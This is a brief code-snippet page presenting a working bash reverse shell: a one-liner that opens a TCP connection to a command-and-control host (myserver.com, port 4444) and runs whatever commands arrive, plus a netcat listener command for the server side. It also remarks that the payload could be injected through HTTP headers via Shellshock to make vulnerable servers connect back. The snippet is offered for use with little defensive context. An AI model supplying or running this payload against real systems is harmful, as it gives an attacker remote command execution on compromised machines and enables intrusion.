Simple Reverse Shell (BASH)
The below is an example of a simple reverse shell to a C&C server (which we assume is myserver.com)
On the C&C server you simply need something listening on the relevant port:
nc -l 4444
Back when Shellshock was at it's highest levels, you could simply inject this into a HTTP header to have the server connect back to you
Details
- Language: BASH
Snippet
exec 5<>/dev/tcp/myserver.com/4444 ; cat <&5 | while read evil; do $evil 2>&5 >&5; done